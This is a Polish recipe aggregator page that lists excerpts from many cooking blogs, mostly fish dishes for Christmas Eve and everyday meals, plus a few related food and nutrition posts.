Kolejna rybna propozycja wigilijna. Składniki: 1 kg amura 4 dag tłuszczu 1/8 litra śmietany 8 dag chrzanu sól do smaku cukier do smaku 2-3 łyżki octu 3 % Wykonanie: Rybę oczyścić, usunąć błonę z jamy brzusznej, dokładnie opłukać, osączyć z wody, skropić octem, osolić. Następnie pokroić w dzwonka, ułożyć na posmarowanym półmisku do zapiekania z wierzchu oblać stopionym tłuszczem(...)wstawić do średnio nagrzanego piekarnika. Piec wolno około 30-40 minut, często podlewając wodą (2-3 łyżki). Gdy ryba jest upieczona , oblać zmieszaną z tartym chrzanem (może być ze słoiczka) lekko osoloną i ocukrzoną śmietaną. Piec jeszcze kilka minut

Tradycyjna Kuchnia
12 potraw wigilijnych. Dania wigilijne. 3429

się u nas od podania zupy, a tradycyjną zupą wigilijną w całej naszej rodzinie jest barszcz i uszka z grzybami ale w innych regionach jada się zupę grzybową, zupę rybą lub zupę migdałową Jako przystawki ważne miejsce pośród 12 potraw wigilijnych zajmują: – obowiązkowo rolmopsy , ale też śledzie w oleju lub pod różnymi postaciami, – ryba w pomidorach – kapusta

Damsko-męskie spojrzenie na kuchnię
Zapiekanka z dorsza z boczkiem 72

Ryba z boczkiem? Kompozycja może wydawać się dziwna ale efekt końcowy naprawdę pozytywnie zaskakuje. Delikatny smak ryby staje się nieco cięższy i bardziej wyrazisty w połączeniu z podsmażonym boczkiem. Danie to początkowo zaplanowałam jako przekąskę jednak ostatecznie wyszedł mi obiad

Milion Smaków
Najprostsza pasta rybna od świekry 156

Podaj na: ·          świeżym chrupiącym chlebie na zakwasie ·          chrupiących maślanych grzaneczkach Zaczynamy od oporządzenia ryby . Ja zawsze ją przepoławiam, wyjmuję kręgosłup, a następnie widelcem wyskrobuję mięsko. Zawsze każdy kawałek rozcieram między palcami, żeby mieć pewność, że nie będzie żadnych ości (choć i tak mi się(...)obrobioną rybką, siekam też szczypiorek i wrzucam do miski (zawsze wezmę za małą i przekładam przynajmniej raz do większej , żeby się dało wymieszać). Dodaję majonez, keczup, solę (ostrożnie – ryba jest słona!) i pieprzę. Próbuję i doprawiam do smaku :) To idealna pasta na śniadanie, ale świetnie sprawdza się również na (np. Wigilijną) przystawkę. Smacznego

Bazując na smaku
Śledź z wędzonym łososiem w śmietanie 134

świątecznym stole. Ale to nie będą tylko śledzie bo połączyłam je z wędzonym łososiem. Całość zalana sosem śmietanowym, z dodatkiem ogórków, cebuli i jabłka. Fajny pomysł, całkiem smacznie obie ryby się w tym daniu połączyły. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Rybne kołaczki 175

Kolejny przepis z książki "Ryby są super"  Karola Okrasy i Doroty Wellman.  Cudowne bułeczki z rybnym nadzieniem.  U nas był podane na obiad w towarzystwie surówki z kiszonej kapusty.  Z tych ilości upiekłam 6 sporych bułek, więc spokojnie wystarczyło na obiad dla nas wszystkich.     Składniki: Ciasto: 450 g mąki pszennej 50 g mleka(...)maśle.  Zdjąć z patelni i ostudzić.  Pora posiekać w półplasterki i podsmażyć na maśle.  Pod koniec dodać pokrojone, osączone z zalewy pomidory.  Ostudzić.  Wymieszać rybę z porami i pomidorami.  Dodać natkę i ewentualnie doprawić do smaku. Wyrośnięte ciasto delikatnie wyrobić.  Podzielić na równe części ( u mnie 6, w książce mowa

Sto kolorów kuchni
Jadalne prezenty: domowa sól ziołowa (+ gotowe etykiety na słoiki) 146

gotowaniem i ułatwi życie tym, którzy rzadko to robią. Taką solą możecie szybko doprawić wiele potraw, a po wymieszaniu z oliwą uzyskacie szybki dressing do sałatki lub marynatę do ryb i mięsa. Możliwości są tu tak naprawdę nieograniczone, bo z solą możecie połączyć wszystko, co Wam w duszy gra: różne zioła świeże lub suszone, czosnek, skórkę cytrynową, przyprawy takie(...)też jako przyprawa do ziemniaków, warzyw oraz mięsa. Sól z koperkiem, skórką cytrynową i koprem włoskim (ten ostatni dodatek możecie ewentualnie pominąć) to mój pomysł na szybką przyprawę do ryb. Sól z suszonymi grzybami (u mnie borowiki), tymiankiem oraz czarnym pieprzem to najciekawsza z proponowanych mieszanek. Grzyby są nośnikiem smaku umami, który dodaje potrawom smakowitości. Myślę, że tą mieszanką można

Chilli Czosnek i Oliwa
Łosoś pieczony w orzechowej panierce 184

Pyszna propozycja dla miłośników łososia :)  Cudownie smakuje otulony orzechową panierką. Szybki i smaczny pomysł na rybę :) SKŁADNIKI (dla 4 osób) 600 g filetu z łososia bez skóry sól morska biały pieprz sok z cytryny 2 jajka 2 łyżki mleka kilka łyżek mąki 200 g posiekanych orzechów włoskich PRZYGOTOWANIE Rybę myjemy, osuszamy papierowym ręcznikiem i dzielimy na 4 kawałki. Skrapiamy

Moje Kuchenne Rewelacje
Surówka z marchewki i pora 115

Idealna surówka jako dodatek do mięsa i ryb lub jako zdrowa przekąska. Zdrowo, kolorowo i smacznie- Zapraszam! Surówka z marchewki i pora Składniki: 2-3 marchewki mały por 2 łyżki śmietany 2 łyżki oliwy 1 łyżka cukru 2 łyżeczki soku z cytryny pieprz, sól Przygotowanie: Marchewki obrać i zetrzeć na tarce z dużymi oczkami. Pora pokroić w pół księżyce, delikatnie(...)sparzyć wrzątkiem. Śmietanę, oliwę, cukier, sok z cytryny wymieszać. Dodać do startych warzyw i dokładnie połączyć. Przyprawić solą i pieprzem do smaku. Podawać z rybą lub mięsem. Smacznego

Tagebuch po polsku
Chłodziarki Gorenje z kolekcji Retro 230

stałej temperatury we wnętrzu, a co za tym idzie – świeżości i pełnej wartości odżywczej pożywienia. Szuflada FreshZone, w której panuje najniższa w temperatura, nadaje się doskonale do przechowywania mięsa, ryb, owoców i warzyw. Zapewnia ona świeżość, aromat, kolor i smak żywności na dłużej. Szuflada ZeroZone, w której panuje temperatura około 0°C, to idealne miejsce to przechowywania świeżych owoców morza(...)ryb lub mięsa. Dzięki niej delikatne produkty dłużej zachowują świeżość, naturalną soczystość oraz składniki odżywcze. Szuflada XtremeFreeze, zapewnia szybkie mrożenie w skrajnie niskich temperaturach. Takie „szokowe” podejście pozwala zachować wszystkie składniki odżywcze i smak pożywienia. Podsumowując, wyposażając mieszkanie, które mam nadzieje w niedługiej przyszłości zakupić, mocno zastanowię się się nad taką lodówką. Koniec z rozmrażaniem, koniec z marnowaniem jedzenia

karmelowy
Pulpety w sosie koperkowym 182

koperkowy jest naszym ulubionym sosem. Pasuje zarówno do mięsa jak i do ryby oraz do dań jarskich. Ostatnio serwowałam rybę w sosie koperkowym, tym razem czas na pulpeciki. Małe kulki z mięsa mielonego możecie przygotować w swój ulubiony sposób. Pulpety w sosie koperkowym Składniki Mięso: 500 g mięsa mielonego Czerstwa bułka lub kilka kromek suchego chleba 1 cebula 1 jajko

Pyza i Surówka
RISOTTO Z SUSZONYMI POMIDORAMI / DRIED TOMATOES RISOTTO 101

kolejne wydanie risotto – tym razem ostrzejsze. Znowu wystarczy kilka składników i obiad gotowy, gdyż to risotto można jeść samo lub jako dodatek do dania. Ja miałam ochotę na rybę stąd też grillowany łosoś Tak jak pisałam przed chwilą to danie nie wymaga dużej ilości składników, ale trzeba mu poświęcić chwilę – w końcu to risotto! Miłego gotowania. I love(...)jogurtu greckiego 200 ml białego, wytrawnego wina 500 ml bulionu warzywnego 6-8 suszonych pomidorów 1 łyżka kaparów 50 g cheddara 1-2 papryczki peperoncino sól, pieprz Ryba: 300 g łososia oliwa, sól, pieprz INGREDIENTS: Risotto: 150 g risotto rice 1/2 red onion 200 g Greek yogurt 200 ml dry white wine 500 ml vegetable stock 6-8 dried tomatoes

Martyna Cooks
Łosoś z sosem porowym i kawiorem 186

grillujemy – na patelni, ale jednak. Korzystamy ze wspominanej już tutaj kilka razy techniki: 7 minut skórą do góry i tyle damo skórą do dołu, następnie ją zdejmujemy i wykładamy rybę na talerz. Pora kroimy w wąskiej paski, ale przede wszystkim dokładnie płuczemy liście ze środkowej części – to wyjątkowo „wredne” warzywo w tym sensie, że między liśćmi lubi zebrać się sporo

Kulinarna Pokusa
Dorsz smażony w panierce z migdałami 84

Obok tradycyjnego karpia i ryb w galarecie na wigilijnym stole w mojej rodzinie zawsze pojawia się dorsz smażony w panierce. Szybkie i pewne danie, które smakuje wszystkim miłośnikom ryb. W tym roku po raz pierwszy jako dodatek do dorsza pojawiły się lekko uprażone migdały. Kompozycja sprawdza się bardzo dobrze

Milion Smaków
ZUPA RYBAKA 93

marchewki 3 cebule 2 pietruszki 1/3 selera 1 kg białej ryby ( dorada i dorsz) 10 kulek ziela angielskiego 5 listów laurowych puszka pomidorów krojonych / 400 g 2 łyżeczki cukru trzcinowego 2 suszone papryczki  chili 1 łyżka słodkiej papryki świeżo mielony pieprz 1/2 pęczku pietruszki 3 litry wody olej do smażenia sól morska Marchewkę, pietruszkę oraz selera obieramy, ścieramy(...)dodajemy ziele, listek i paprykę, chili i cebulkę. Gotujemy około 10 minut. Teraz dodajemy pomidory w puszce i gotujemy jeszcze przez 10 minut. Do wywaru wkładam, pokrojoną na kawałki rybę i trzymam na gazie 8 minut. Przyprawiamy solą i pieprzem. Na koniec dodaje posiekaną natkę pietruszki

KuchcikoweLove
Dorsz w razowej panierce 142

Staram się na piątkowy obiad przygotowywać rybę.  Nie zawsze mi się to udaje, ale ostatnio dostałam książkę "Ryby są super" z Kuchni Lidla i pomyślałam, że piątkowy obiad to doskonała okazja na wypróbowanie przepisu.  Na pierwszy ogień poszedł dorsz w razowej panierce.  W książce jest on podany z sałatką z brokułów i paprykową salsą, ale u mnie

Sto kolorów kuchni
KROKIETY Z SEREM I PIECZARKAMI 194

PACHNĄCY KMINKIEM SERNIK CYTRYNOWY Z SOSEM Z PORZECZEK ŁAZANKI NALEŚNIKOWE SŁODKIE CHRUPIĄCA SAŁATKA Z KAPUSTY UDKA W SOSIE CYNAMONOWYM ŚEDZIE Z CZOSNKIEM W OLIWIE BABECZKI MARCEPANOWE SAŁATKA Z POMARAŃCZY RYBA LUB KARP W SOSIE IMBIROWYM RYBA NA OSTRO RYŻOWE KULE ZE ŚLIWKAMI SZYBKA ROSYJSKA SAŁATKA GRZANIEC Z BIAŁEGO WINA KOŁACZ MAKOWY PIERNIK FIGOWY Z MARCEPANEM CIASTO Z MARCEPANEM DOMOWE CIASTKA

Kocurkowe rozmyślania w kuchni Anielki
Gruszki z patelni z rozmarynem z kruszonką 190

pokazać jej, że dzięki mnie polubi jednak cynamon. Poza tym takie gruszki z aromatem cynamonu i rozmarynu doskonale wpiszą się w świąteczne menu. Doskonale pasują do karpia czy innej ryby. Oczywiście crunch z kiełbasy, boczku czy bekonu można pominąć w wieczór wigilijny gdy nie jemy mięsa, a aromat wędzonki można uzyskać dzięki kropli płynnego dymu (liquide smoke) . Takie gruszki można(...)zbyt wysokiej temperaturze na patelni, przez co może zacząć się palić. Przepis i jak zrobić maślany ryż znajdziesz w przepisie Łosoś na maślanym ryżu . Do delikatnych dań z ryby czy drobiu dla odmiany i bez problemu zamiast warzyw, można podać delikatne owoce z ziołami. Te gruszki z patelni gwarantują ucztę dla podniebienia. Już raz wcześniej wykorzystałam gruszkę z rozmarynem piekąc

Sztuka gotowania w/g Samiry
Rolada z łososiem i makrelą 151

spożywczą, następnie ułożyć płaty łososia wędzonego tworząc długi prostokąt. Na środek nałożyć masę z makreli. Zawinąć roladkę pomagając sobie folią spożywczą. Na końcach zawinąć folię, tworząc duży cukierek z ryby Wstawić do lodówki, jeść na drugi dzień. Podawać z bułeczkami lub chlebkiem. Śmietanę można zastąpić jogurtem greckim, ale prawdę mówiąc śmietana nadaje puszystości. Pycha , polecam

Kuchnia Pokoleń
MORSZCZUK Z TWAROŻKIEM 164

natka pietruszki ********************************** Ziemniaki Ugotować.Jeden pomidor pokroić w plastry , drugi obrać i pokroić w kostkę.Twarożek wymieszać z pomidorem pokrojonym w kostkę , doprawić pieprzem i odrobiną sosu tabasco, wymieszać.Rybę usmażyć na oleju , posypać posiekanym koperkiem.Talerz wyłożyć plastrami pomidora , na nich ułożyć rybę , ziemniaki i Twarożek .Posypać koperkiem lub natka pietruszki.Smacznego

Kocurkowe rozmyślania w kuchni Anielki
Zapiekanka z dyni, sera owczego i dorsza czyli Srodowe Rybki odc.60 203

danie bardzo smaczne, pyszna i prosta jesienna zapiekanka.  Oryginalny przepis pochodzi z książki "Apetyt na Polskę", ja zmodyfikowałam go nieco.  Jeśli lubicie rybę, jeśli smakuje Wam dynia i nie gardzicie serem owczym zróbcie koniecznie! Zapiekanka z dyni, sera owczego i dorsza 500 g dorsza olej do smażenia pure: 2 małe dynie piżmowe (podzielone na kawałki i upieczone(...)patelni z rozgrzanym tłuszczem. Układamy w naczyniu do zapiekania. Miąższ dyni ubijamy tłuczkiem na pure, mieszamy z serkiem, masłem, tymiankiem i połową parmezanu. Wykładamy je na usmażona rybę. Wyrównujemy i posypujemy reszta parmezanu. Zapiekamy ok 20 minut w 200 st.C

Dzieje kuchennej Wiewióry
Bezglutenowe warsztaty z Kawą Inka ... i Tomaszem Jakubiakiem ! 136

sosem z rydzów Stół przy samym szefie Tomaszu został szybko zapełniony... I nie ja znalazłam się w tamtym zacnym gronie ;) Ale, ale .... przy stole przygotowującym sałatki z soczewicy, rybę i pierogi, tez było zacnie. A na pewno wesoło ! Hmmm... i te kilkukrotne wizyty Tomasza Jakubiaka, też trzeba by jakoś wyjaśnić. Nie, nie to, że nam nie szło gotowanie, absolutnie(...)siekanie, ciachanie ...i kiedyś zostaniemy mistrzyniami w tym fachu ! Kawa Inka tego dnia może nie grała pierwszych skrzypiec, ale niewinnie i po cichutku wkradła się niemal w każde danie. Ryba oprószona Inką bezglutenową zyskała nowy wymiar smaku. Zaś dodatek kawy w sosie i gulaszu nadały im głębi... Pysznie było, tyle powiem. Lubię eksperymenty, lubię nowe smaku i nie grymaszę

kolorowotorcikowo
Lubuskie potrawy regionalne, czyli czym się zajadamy w lubuskiem 181

się, że specyfiką lubuskiego są dary natury. Nasz region to lasy bogate w dziczyznę, grzyby i jagody; to niezliczona ilość malowniczo położonych jezior (spójrzcie na zdjęcie powyżej) bogatych w ryby. Przy takim bogactwie nie sposób nie zagospodarować nadwyżek, których nie da się zjeść na bieżąco. Ryby w zalewie octowej trafiły na listę produktów tradycyjnych naszego województwa. Podobnie jak nadnotecka kapusta

Codzienna kuchnia niecodzienna
Smalec (czysty) 224

gotowane na parze. Ja smalcu używam najczęściej zamiennie z masłem klarowanym. Do smażenia używam oleju kokosowego, gdy jego zapach i słodkawy smak dobrze się komponuje, czyli np. do panierowanych ryb i drobiu albo też naleśników paleo . Do smażenia wołowiny, niezależnie czy jako stek czy na gulasz, używam właśnie smalcu (domowego). Placki ziemniaczane, czy jajecznica tylko na smalcu, ale jajka sadzone(...)jeszcze bardziej nierównowagę pomiędzy tłuszczami omega-3 i omega-6 . Smalec jest smaczny, bardzo praktyczny i zdecydowanie ma miejsce w diecie paleo, ale nie powinniśmy równocześnie zapominać o tłustych rybach i/lub suplementowaniu omega-3. Zobacz też nasze uwagi odnośnie mięsa: Mięso – zdrowie, pieniądze i sumienie . Smacznego! Smalec (czysty) Wartość energetyczna Węglowodany (w tym błonnik) Tłuszcz Białko 100g 900 kcal

PaleoSMAK
Pasta z wędzonego halibuta 145

jajkiem. Zapraszam. SKŁADNIKI 1 wędzony halibut 2 jajka 2 małe ogórki 1 mała cebula 2 łyżki twarogu 1/2 łyżeczki musztardy 1/ łyżeczka ketchupu pieprz i sól do smaku WYKONANIE Rybę rozdrabniamy. Cebulę i ogórek kroimy w kostkę,rozdrabniamy,  a następnie dodajemy do ryby. Jajka gotujemy na twardo rozdrabniamy dodajemy do pasty. Na koniec uzupełniamy twarogiem. Przyprawiamy musztardą , ketchupem, solą

W kuchennym oknie Ewy
Stek z marlina 377

Marlin to ryba, która coraz częściej pojawia się na naszych sklepach, chociaż niestety najczęściej mrożona. Doskonale nadaje się na pyszny stek, tak samo jak mięso z rekina czy tuńczyka. Wystarczy parę minut grillowania lub smażenia, ale warto wcześniej włożyć rybę na jakiś czas do odpowiedniej marynaty, żeby wzbogacić jej walory smakowe

Milion Smaków
Kremowy sos-winegret z mango do mięs i ryb 493

mniej, wykwintnie, z wysokiej pułki, niż za tą samą cenę, ale za to obficie i pożywnie. Dlatego dziś moja propozycja na nadchodzace świeta do świątecznego mięsiwa, świątecznego indyka czy ryby: rewelacyjny kremowy sos-winegret z mango. Zamiast zawiesistego ciężkiego sosu na śmietanie czy majonezie, lekki kremowy sosik. Niech nie zmyli nikogo składnik jakim jest mango. Winegret nie jest na słodko(...)Nadaje się do zimnych mięs typu szynka czy schab, do wędzonego kurczaka lub wędzonego łososia. Nadaje się oczywiście też do schabu na ciepło, do ryby na ciepło i do owoców morza. Po prostu palce lizać. Kolorem doskonale wpasuje się również w klimat świąt Wielkanocnych.Perełka na stole. Perełka na stole w kązde święta. Kremowy winegret z mango wywodzi się

Sztuka gotowania w/g Samiry
Pasta jajeczna z wędzonym halibutem 117

Ostatnio trafiłam na promocję wędzonego halibuta. Jako, że bardzo lubię tą rybę nie mogłam przegapić takiej okazji :) Pomysł na jej wykorzystanie przyszedł później, a zainspirowałam się przepisem pochodzącym z bloga „Kuchnia w zieleni”. Pozmieniałam jednak proporcje, coś pominęłam… Pasta wyszła bardzo delikatna i smaczna. Idealna jako dodatek do świeżego pieczywa (ja uwielbiam ciemne). Sprawdzi się nie tylko na śniadanie(...)niezbyt miła niespodzianka, gdy trafimy na jakąś podczas jedzenia :)). Jajka gotujemy na twardo i ścieramy na tarce o grubych oczkach (możemy też je drobno posiekać), a następnie dodajemy do ryby. Dorzucamy posiekany szczypiorek oraz pokrojone w plasterki oliwki. Dodajemy majonez (można dać więcej, ale pamiętajcie, że halibut sam w sobie jest tłusty i soczysty więc pasta i tak będzie odpowiednio

MyCookBook.pl
Dlaczego nie zobaczycie mnie w telewizji. Przynajmniej na razie 170

teście smaku doskonale widać, jak bardzo nie mają pojęcia o tym, co jedzą. Nie mają szacunku do produktów których używają (co boli mnie okrutnie, gdy widzę jak nieudolnie patroszą rybę czy masakrują drób) , gotują totalnie sztampowo, bez polotu. Znajomość technik – żadna. Sposób podania – bez komentarza. Bez podstawowej wiedzy i zacięcia nie mają się po co pchać, ale… Wiadomo, jak działa(...)Gdzie w tym prawdziwe gotowanie, gdzie profesjonalizm? Telewizja rządzi się swoimi prawami. To że je znam, nie znaczy że w jakikolwiek sposób mam im się dobrowolnie podporządkować. Tylko zdechłe ryby płyną z prądem. Płyń, Master Chefie, ale beze mnie.   Ważne, że swojego własnego, podpisanego imieniem fartucha mam, i w żadnym wypadku oddawać go nie zamierzam. Dostałam go w ramach

Karo in the Kitchen
Łosoś z zielonym pesto na brązowym makaronie ryżowym 155

Jest to danie nawet dla tych którzy liczą kalorie i chcą stracić kilka kilogramów. A co najważniejsze nie trzeba głodować Zdjąć skórę z łososia, doprawić solą

Kuchnia Pokoleń
Witamy na talerzu. Witaminy i ich właściwości. 181

tłuszczów w energię, wspomaga działanie układu nerwowego Dzienne zapotrzebowanie:  0.9-1.2 mg Źródło występowania: nasiona słonecznika,orzechy pistacjowe, migdały, fasola, groch, kasza jaglana i gryczana, szynka, chleb żytni, ryba, ryż brązowy. Witamina B2 Właściwości:bierze udział w przemianie w przemianie węglowodanów, tłuszczów i białek w energię. Dzienne zapotrzebowanie: 1.3- 1.6 mg Źródło występowania: wątroba, ciemnozielone warzywa, mleko, sery, grzyby(...)szparagi, kalafior, pomidory, brukselka, soczewica, buraki, żółtko jajka Witamina B12  Właściwości: uczestniczy w wytwarzaniu czerwonych ciałek krwi, przeciwdziała niedokrwistości Dzienne zapotrzebowanie: 1.4- 2.4  µg Źródło występowania: mięso,ryby, skorupiaki, jajka, mleko Witamina C Właściwości: wzmacnia odporność, wspomaga działanie układu krwionośnego, obniża cholesterol, chroni przed wolnymi rodnikami Dzienne zapotrzebowanie: 40- 90 mg Źródło występowania: owoce jagodowe, cytrusowe; truskawki,maliny

Fit & Healthy Life
Cytrynowe tagliolini z łososiem! 91

tłusty i słony. Następnie dodajemy przeciśnięty przez praskę czosnek, posiekaną natkę pietruszki, bazylię, oregano, chilli i pieprz. Jeśli nie znajdziecie cytrynowego makaronu, to można skropić łososia sokiem z cytryny. Rybę z przyprawami podsmażamy na patelni, a na sam koniec dodajemy śmietanę i wszytko mieszamy, aby uzyskać sos. Makaron z łososiem dekorujemy startym, żółtym serem. Muszę przyznać, że łosoś korespondujący(...)makaronem w ziołowo-śmietanowym sosie, pozostawia w ustach złagodzony śmietaną wyraźny smak wędzonej ryby. Coś pysznego! Polecam

Kuchnia Pani Wiosny
Sałatka z surimi z olejem sezamowym 164

Surimi – produkt sporządzony na bazie zmielonego mięsa morskich ryb, najczęściej mintaja, dorsza lub morszczuka. Popularny zwłaszcza w kuchniach dalekowschodnich. Może występować w różnych formach, najbardziej znane są tzw. paluszki krabowe ( crab sticks ). Nazwa pochodzi z języka japońskiego すり身 ( surimi dosłownie: „mielona ryba”). Sałatka z surimi z olejem sezamowym. Składniki: - 400g surimi (paluszki krabowe) - 2 sałaty rzymskie (polecam dokładnie

mojewypiekiinietylko
Skomponuj swój idealny lunch! 176

trawieniem. Produkty zawierające białko dzielimy na dwie grupy - pełnobiałkowe, w skład których wchodzą wszystkie niezbędne aminokwasy oraz te, w których brakuje przynajmniej jednego aminokwasu. Produkty pełnobiałkowe to : mięso, ryby, jaja,  mleko i inne produkty mleczne, soja Do drugiej grupy należą: fasola groszek, orzechy ziarna, pestki Więc które z nich najlepiej wybrać?  Jest mnóstwo opcji, m.in : pierś z kurczaka(...)mają najwyższą wartość odżywczą. Zatem powinniśmy spożywać jak najwięcej tłuszczy właśnie z tej grupy!  lniany słonecznikowy  sojowy kukurydziany z orzechów i nasion Znajdziemy je także w tłustych rybach morskich, jak : łosoś makrela śledź sardynka A ponadto w :  nasionach dyni nasionach słonecznika w orzechach  Jedna porcja tłuszczu odpowiada jednej łyżce oleju roślinnego, 100 g łososia

Kuchnia Ellie
Zachwytu Ukrainą c.d. (3) 196

cudeniek zmiażdżyły :-/. Ale zdobędę i wstawię :-). Jeszcze na uwagę, według mnie, zasługują niesamowite przekąski do piwa. Zaliczają się do nich, także wyżej wymienione sucharki ale najbardziej zdziwiły mnie suszone ryby. Można je kupić w wersji mini w każdym sklepie a w wersji max na targach rybnych ( polecam w Latyczowie). Są ich przeróżne rodzaje - są bardzo słone, mięso jest dość twarde(...)naprawdę bardzo dobre. Jadłam kilka rodzajów tak podanej ryby jednak nazw nie pamiętam. Ale bardzo ciekawe w smaku były dla mnie suszone kalmary - podobno afrodyzjak :-). Do piwa idealne Ulubionym moim sposobem ich jedzenia jest odrywanie małych słodko-słonych niteczek i jedzenie tak po malutku:-). Na Ukrainie dostępne są również bardzo ciekawe przyprawy do kuchni Ormiańskiej i Gruzińskiej. Bliżej je opiszę

sierotka maRysia w kuchni
Śledziowo mi 193

będę ukrywać - uwielbiam śledzie - i nie wstydzę się tego choć dla niektórych to na pewno obciach :-). Dla mnie nie. Dla mnie to kultowa ryba którą można przyrządzić na chyba z milion sposobów. Uwielbiam te ,,Ciocine" z rodzynkami, te ,,Mamine" z pomidorami, te ,,Zwykłe" w occie lub z cebulką w oleju. Są po prostu pyszne!!! Dlatego dziś... Pasta śledziowa z chrzanem

sierotka maRysia w kuchni
Parykarz szczeciński 161

wszystko będzie miękkie. Dodać koncentrat, paprykę słodką, sól - w razie potrzeby - jakby było za gęste - rozcieńczyć wodą aby powstał gładki sos. Przestudzić. Na koniec do warzyw dodajemy ryż i rybę, Dobrze studzimy i przekładamy do zamkniętego pojemnika aby składniki się przegryzły. Można jeść już po godzinie ale najlepiej smakuje na drugi dzień

sierotka maRysia w kuchni
Warzywny gulasz z dorszem 168

nagrzanego do 180 st. na ok. 5 - 10 minut. Dodać śmietanę - pominęłam. Spokojnie można do gulaszu nie dodawać ziemniaków tylko zjeść go z chlebem lub po prostu dodać więcej ryby i zajadać sam. Można również pominąć część z zapiekaniem i kruszonką. Smacznego

sierotka maRysia w kuchni
Pasta rybna z węgorza i karmazyna 157

Ponieważ pasty są naszym ulubionym smarowidłem do chleba tym razem połączyłam rybę w postaci wędzonego węgorza, karmazyna wędzonego z jajami i majonezem. Pasta jest pyszna na śniadanie do świeżych bułek czy do pracy na kanapki, zachęcam do zrobienia. Pasta rybna z węgorza i karmazyna. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Piątkowe Inspiracje - dorsz smażony w panierce 161

Kolejne klasyczne danie w naszej kuchni to dorsz smażony w panierce. Najczęściej kupujemy dorsza, bo nie jest nasączony wodą i lodem jak inne ryby, prawie nie ma ości, mięso ma kruche i grube,czasem nieco suche, ale nam to wcale nie przeszkadza. Często z dorsza robię  kotlety rybne , dzisiaj dorsz smażony. Zachęcam! 2 filety z dorsza 2 jajka sól(...)posolić, bułkę tartą wsypać do miseczki. Filety panierować z każdej strony w jajku i w bułce. Smażyć na mocno rozgrzanym oleju z każdej strony na złoty kolor. Usmażone kawałki ryby, mniam :) Pyszna panierka i jeszcze pyszniejsze wnętrze Nasza propozycja podania - z ziemniakami i surówką z selera naciowego (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
Sałatka z wędzonego węgorza, pomidorów i jaj 578

Wędzone ryby to bogactwo nienasyconych kwasów tłuszczowych omega 3 i dlatego warto jej jadać, organizm ich potrzebuje teraz jeszcze bardziej. Zapraszam na pyszną sałatkę z wędzonym węgorzem. Sałatka z wędzonego węgorza, pomidorków i jaj. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Chowder czyli Zupowe Wtorki odc.69 i Srodowe Rybki odc.59 213

Wspaniałe wspomnienie z ubiegłego tygodnia. Niesamowicie aromatyczna i sycąca zupa do wykonania w pół godziny. Obawiałam się trochę czy domownicy zjedzą zupę z rybą na szczęście moje wątpliwości szybko się rozwiały. Zupa ledwo starczyła na dwa dni :) przepis odrobinę zmodyfikowałam, oryginał znalazłam w Smakołykach alergika . Zdjęcia niestety robiona przy zaokiennej ciemnicy :( Chowder 50 g masła (u nas klarowanego(...)Zalewamy warzywa wodą, tak by je tylko przykryła. Lekko solimy, dodajemy ziele oraz liść laurowy. Dusimy na małym ogniu, aż ziemniaki będą prawie miękkie. Dodajemy pokrojone w kostkę ryby, śmietanę i gotujemy do momentu, aż mięso będzie miękkie.  Pod koniec dorzucamy skórkę z cytryny, ew. doprawiamy. Nalewamy do miseczek i posypujemy koperkiem

Dzieje kuchennej Wiewióry
Paprykarz szczeciński 186

octu 9 g chili 3 g pieprzu Ryż gotujemy al dente i studzimy. Cebulę kroimy w kostkę i szklimy na oleju. Dodajemy przecier i wszystkie przyprawy i studzimy. Rybę siekamy bardzo drobno lub mielimy na sitku 4 mm. Cebulę i rybę mieszamy i dodajemy ryż. Wkładamy w sterylne słoiki i pasteryzujemy 50 minut w wodzie o temp. 95 stopni. Smacznego

Marder&Marder Manufacture
mintaj pieczony ze szpinakiem i fetą 153

obiad lub kolację.  Składniki: 4 filety z mintaja 300 g szpinaku 2 ząbki czosnku 2 łyżki śmietany 1 łyżka masła 2 plasterki sera feta sól pieprz pieprz cytrynowy Rybę ułożyć na blaszce do pieczenia. Posypać solą i pieprzem cytrynowym. Szpinak usmażyć na maśle, dodać czosnek, sól i pieprz a na końcu śmietanę. Wyłożyć na rybę. Fetę pokroić w kosteczki

Domowa Cukierenka-Domowa Kuchnia
zapiekanka rybna ze szpinakiem i beszamelem 191

sera i beszamelu można ułożyć jeszcze plasterki pomidorów, ja tego nie zrobiłam ze względu na uczulenie córeczki. Podaję porcję dla czterech osób. Składniki: 5 filetów z mintaja (lub innej ryby) 350 g szpinaku 3/4 opakowania makaronu rurki 50g serka topionego 2 łyżki śmietany kwaśnej 2 ząbki czosnku sól pieprz 150 g sera żółtego na beszamel: 2 łyżki mąki 1 łyżka(...)przyprawić.  Część makaronu rozłożyć w foremce do zapiekania (jedną lub dwie warstwy w zależności od wielkości blaszki).  Na makaronie rozsmarować szpinak. Następnie ułożyć filety rybne. Na rybie położyć kolejną warstwę makaronu.  Przygotować sos beszamelowy: Masło rozpuścić, wsypać mąkę i wymieszać (nie podsmażać). Od razu zacząć powoli wlewać mleko i mieszać aż do uzyskania pożądanej gęstości. Sos powinien

Domowa Cukierenka-Domowa Kuchnia
mintaj w sezamie 127

smaku.  Składniki: 4 filety z mintaja 1 jajko 3 łyżki mąki 2 łyżki mleka 3 łyżki bułki tartej  2 łyżki sezamu sól pieprz olej do smażenia Rozmrożoną rybę osuszyć na ręczniku papierowym. Oprószyć solą i pieprzem. Mąkę wymieszać z jajkiem i mlekiem tworząc gęste ciasto. Bułkę tartą wymieszać z sezamem. Rybę panierować najpierw w cieście a następnie

Domowa Cukierenka-Domowa Kuchnia
mięsne kęski marynowane w sosie pomidorowym 166

Jakiś czas temu dostałam od mojej cioci przepis na rybę w zalewie pomidorowej. Taką rybę robię często, bardzo nam smakuje ale postanowiłam spróbować zrobić w takiej zalewie małe kawałki kotleta z kurczaka. Są równie smaczne, najlepiej smakują na drugi dzień, kiedy przejdą smakami a panierka wchłonie zalewę.  Świetnie sprawdzą się na przyjęciu jako zakąska do wódki.  Składniki: duży

Domowa Cukierenka-Domowa Kuchnia
ryba z porem i mozzarellą 179

